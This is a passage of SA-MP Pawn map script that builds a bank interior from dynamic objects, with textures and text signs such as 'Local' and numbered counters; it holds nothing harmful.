        AG_Bank2[172] = CreateDynamicObject(2114, 1395.84399, 1326.99194, 1502.59058,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[173] = CreateDynamicObject(2114, 1397.05713, 1321.33521, 1502.3715,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[174] = CreateDynamicObject(2114, 1396.43005, 1321.33521, 1502.84351,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[175] = CreateDynamicObject(2114, 1395.84399, 1321.33521, 1502.59058,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[170], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[171], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[172], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[173], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[174], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[175], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);

        AG_Bank2[176] = CreateDynamicObject(2268, 1395.40137, 1326.93201, 1501.21692,   0.00000, 90.00000, 330.00000, 26, 63, -1, 200.00);
        AG_Bank2[177] = CreateDynamicObject(2040, 1395.87854, 1327.09436, 1500.79565,   0.00000, 0.00000, 60.00000, 26, 63, -1, 200.00);
        AG_Bank2[178] = CreateDynamicObject(2752, 1395.86145, 1327.09924, 1500.87744,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[179] = CreateDynamicObject(2752, 1395.75903, 1327.19727, 1501.18384,   90.00000, 0.00000, 60.00000, 26, 63, -1, 200.00);
        AG_Bank2[180] = CreateDynamicObject(2752, 1395.86145, 1321.44519, 1500.87744,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[181] = CreateDynamicObject(2752, 1395.75903, 1321.54333, 1501.18384,   90.00000, 0.00000, 60.00000, 26, 63, -1, 200.00);
        AG_Bank2[182] = CreateDynamicObject(2268, 1395.40137, 1321.27795, 1501.21692,   0.00000, 90.00000, 330.00000, 26, 63, -1, 200.00);
        AG_Bank2[183] = CreateDynamicObject(2040, 1395.87854, 1321.44043, 1500.79565,   0.00000, 0.00000, 60.00000, 26, 63, -1, 200.00);
        AG_Bank2[184] = CreateDynamicObject(2040, 1400.77417, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 26, 63, -1, 200.00);
        AG_Bank2[185] = CreateDynamicObject(2752, 1400.74866, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[186] = CreateDynamicObject(2752, 1400.91565, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 26, 63, -1, 200.00);
        AG_Bank2[187] = CreateDynamicObject(2268, 1400.34375, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 26, 63, -1, 200.00);
        AG_Bank2[188] = CreateDynamicObject(2040, 1408.89722, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 26, 63, -1, 200.00);
        AG_Bank2[189] = CreateDynamicObject(2752, 1402.54468, 1321.13416, 1500.81006,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[190] = CreateDynamicObject(2752, 1409.03857, 1321.15808, 1501.12720,   0.00000, 90.00000, 165.00000, 26, 63, -1, 200.00);
        AG_Bank2[191] = CreateDynamicObject(2268, 1408.46680, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 26, 63, -1, 200.00);
        AG_Bank2[192] = CreateDynamicObject(2040, 1406.97424, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 26, 63, -1, 200.00);
        AG_Bank2[193] = CreateDynamicObject(2752, 1406.94873, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[194] = CreateDynamicObject(2752, 1407.11560, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 26, 63, -1, 200.00);
        AG_Bank2[195] = CreateDynamicObject(2268, 1406.54382, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 26, 63, -1, 200.00);
        AG_Bank2[196] = CreateDynamicObject(2040, 1402.56226, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 26, 63, -1, 200.00);
        AG_Bank2[197] = CreateDynamicObject(2752, 1408.8756, 1321.1407, 1500.8101,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[198] = CreateDynamicObject(2752, 1402.70361, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 26, 63, -1, 200.00);
        AG_Bank2[199] = CreateDynamicObject(2268, 1402.13184, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[176], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[177], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[178], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[179], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[180], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[181], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[182], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[183], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[184], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[185], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[186], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[187], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[188], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[189], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[190], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[191], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[192], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[193], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[194], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[195], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[196], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[197], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[198], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[199], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[176], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[182], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[187], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[191], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[195], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[199], 1, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank2[200] = CreateDynamicObject(2268, 1396.46143, 1327.44128, 1501.21692,   0.00000, 90.00000, 150.00000, 26, 63, -1, 200.00);
        AG_Bank2[201] = CreateDynamicObject(2268, 1396.46143, 1321.78735, 1501.21692,   0.00000, 90.00000, 150.00000, 26, 63, -1, 200.00);
        AG_Bank2[202] = CreateDynamicObject(2268, 1401.23767, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 26, 63, -1, 200.00);
        AG_Bank2[203] = CreateDynamicObject(2268, 1403.02576, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 26, 63, -1, 200.00);
        AG_Bank2[204] = CreateDynamicObject(2268, 1409.36072, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 26, 63, -1, 200.00);
        AG_Bank2[205] = CreateDynamicObject(2268, 1407.43774, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[200], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[201], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[202], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[203], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[204], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[205], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[200], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[201], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[202], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[203], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[204], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[205], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank2[206] = CreateDynamicObject(19327,1404.632,1320.701,1500.546,0.000,0.000,0.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[206], 0, "2",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank2[207] = CreateDynamicObject(19327,1409.574,1312.207,1500.585,-90.000,133.699,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[207], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
        AG_Bank2[208] = CreateDynamicObject(19327,1402.776,1320.697,1500.545,0.000,0.000,0.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[208], 0, "1", 120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank2[209] = CreateDynamicObject(19327,1408.976,1320.654,1500.546,0.000,0.000,0.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[209], 0, "3",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank2[210] = CreateDynamicObject(19327,1410.887,1320.659,1500.558,0.000,0.000,0.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[210], 0, "4",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank2[211] = CreateDynamicObject(19327,1402.328,1312.014,1500.584,-90.000,38.800,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[211], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
        AG_Bank2[212] = CreateDynamicObject(19327,1395.937,1321.530,1501.186,0.000,0.000,150.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[212], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank2[213] = CreateDynamicObject(19327,1395.923,1327.193,1501.194,0.000,0.000,150.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[213], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank2[214] = CreateDynamicObject(19327,1399.911,1321.478,1500.537,0.000,0.000,-195.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[214], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 0);
        AG_Bank2[215] = CreateDynamicObject(19327,1402.589,1321.241,1501.117,0.000,0.000,-195.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[215], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank2[216] = CreateDynamicObject(19327,1406.983,1321.245,1501.133,0.000,0.000,-195.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[216], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank2[217] = CreateDynamicObject(19327,1408.898,1321.248,1501.131,0.000,0.000,-195.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[217], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);

        AG_Bank2[218] = CreateDynamicObject(19443, 1399.62415, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[219] = CreateDynamicObject(19443, 1400.97107, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[220] = CreateDynamicObject(19443, 1402.31799, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[221] = CreateDynamicObject(19443, 1403.66504, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[222] = CreateDynamicObject(19443, 1405.01196, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[223] = CreateDynamicObject(19443, 1406.35901, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[224] = CreateDynamicObject(19443, 1407.70605, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[225] = CreateDynamicObject(19443, 1409.05310, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[226] = CreateDynamicObject(19443, 1410.40015, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[227] = CreateDynamicObject(19443, 1400.21631, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[228] = CreateDynamicObject(19443, 1401.56335, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[229] = CreateDynamicObject(19443, 1402.91040, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[230] = CreateDynamicObject(19443, 1404.25745, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[231] = CreateDynamicObject(19443, 1405.60437, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[232] = CreateDynamicObject(19443, 1406.95142, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[233] = CreateDynamicObject(19443, 1408.29834, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[234] = CreateDynamicObject(19443, 1409.64526, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[218], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[219], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[220], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[221], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[222], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[223], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[224], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[225], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[226], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[227], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[228], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[229], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[230], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[231], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[232], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[233], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[234], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank2[235] = CreateDynamicObject(19444, 1399.60815, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[236] = CreateDynamicObject(19444, 1399.64014, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[237] = CreateDynamicObject(19444, 1400.23059, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[238] = CreateDynamicObject(19444, 1400.19849, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[239] = CreateDynamicObject(19444, 1400.95520, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[240] = CreateDynamicObject(19444, 1403.64917, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[241] = CreateDynamicObject(19444, 1402.30225, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[242] = CreateDynamicObject(19444, 1404.99622, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[243] = CreateDynamicObject(19444, 1406.34314, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[244] = CreateDynamicObject(19444, 1407.69006, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[245] = CreateDynamicObject(19444, 1409.03711, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[246] = CreateDynamicObject(19444, 1410.38416, 1322.03906, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[247] = CreateDynamicObject(19444, 1400.98706, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[248] = CreateDynamicObject(19444, 1402.33411, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[249] = CreateDynamicObject(19444, 1403.68115, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[250] = CreateDynamicObject(19444, 1405.02820, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[251] = CreateDynamicObject(19444, 1406.37524, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[252] = CreateDynamicObject(19444, 1407.72217, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[253] = CreateDynamicObject(19444, 1409.06921, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[254] = CreateDynamicObject(19444, 1410.41626, 1322.07104, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[255] = CreateDynamicObject(19444, 1401.57764, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[256] = CreateDynamicObject(19444, 1401.54553, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[257] = CreateDynamicObject(19444, 1402.89246, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[258] = CreateDynamicObject(19444, 1402.92456, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[259] = CreateDynamicObject(19444, 1404.27161, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[260] = CreateDynamicObject(19444, 1404.23950, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[261] = CreateDynamicObject(19444, 1405.58655, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[262] = CreateDynamicObject(19444, 1405.61865, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[263] = CreateDynamicObject(19444, 1406.93347, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[264] = CreateDynamicObject(19444, 1406.96570, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[265] = CreateDynamicObject(19444, 1408.28052, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[266] = CreateDynamicObject(19444, 1408.31274, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[267] = CreateDynamicObject(19444, 1409.65967, 1311.76746, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[268] = CreateDynamicObject(19444, 1409.62744, 1311.74329, 1505.27942,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[235], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[236], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[237], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[238], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[239], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[240], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[241], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[242], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[243], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[244], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[245], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[246], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[247], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[248], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[249], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[250], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[251], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[252], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[253], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[254], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[255], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[256], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[257], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[258], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[259], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[260], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[261], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[262], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[263], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[264], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[265], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[266], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[267], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank2[268], 0, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank2[269] = CreateDynamicObject(19327,1408.101,1310.651,1502.122,0.000,73.999,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[269], 0,"(",  130, "Ariel", 199, 0, -9591092, 0, 1);
        AG_Bank2[270] = CreateDynamicObject(19327,1406.402,1310.648,1502.151,0.000,0.000,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[270], 0, "Local",  130, "Ariel", 140, 1, -9591092, 0, 1);
        AG_Bank2[271] = CreateDynamicObject(19327,1407.198,1310.647,1501.959,0.000,-17.400,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[271], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 0);
        AG_Bank2[272] = CreateDynamicObject(19327,1408.430,1310.648,1502.225,0.000,29.300,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[272],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank2[273] = CreateDynamicObject(19327,1408.366,1310.647,1502.266,0.000,75.399,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[273], 0, "(",  130, "Ariel", 35, 0, -9591092, 0, 1);
        AG_Bank2[274] = CreateDynamicObject(19327,1408.285,1310.645,1502.351,0.000,24.700,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[274], 0, "(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank2[275] = CreateDynamicObject(19327,1408.177,1310.645,1502.404,0.000,85.000,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[275], 0, "(",  130, "Ariel", 46, 0, -9591092, 0, 1);
        AG_Bank2[276] = CreateDynamicObject(19327,1408.063,1310.645,1502.323,0.000,157.600,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[276],  0,"(",  130, "Ariel", 38, 0, -9591092, 0, 1);
        AG_Bank2[277] = CreateDynamicObject(19327,1407.996,1310.644,1502.274,0.000,84.299,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[277], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank2[278] = CreateDynamicObject(19327,1407.931,1310.648,1502.238,0.000,135.099,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[278], 0, "(",  130, "Ariel", 32, 0, -9591092, 0, 1);
        AG_Bank2[279] = CreateDynamicObject(19327,1407.910,1310.648,1502.185,0.000,168.099,180.000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank2[279], 0, "(",  130, "Ariel", 26, 0, -9591092, 0, 1);
        AG_Bank2[280] = CreateDynamicObject(19327,1404.164,1310.648,1502.143,0.000,0.000,180.000, 26, 63, -1, 200.00);
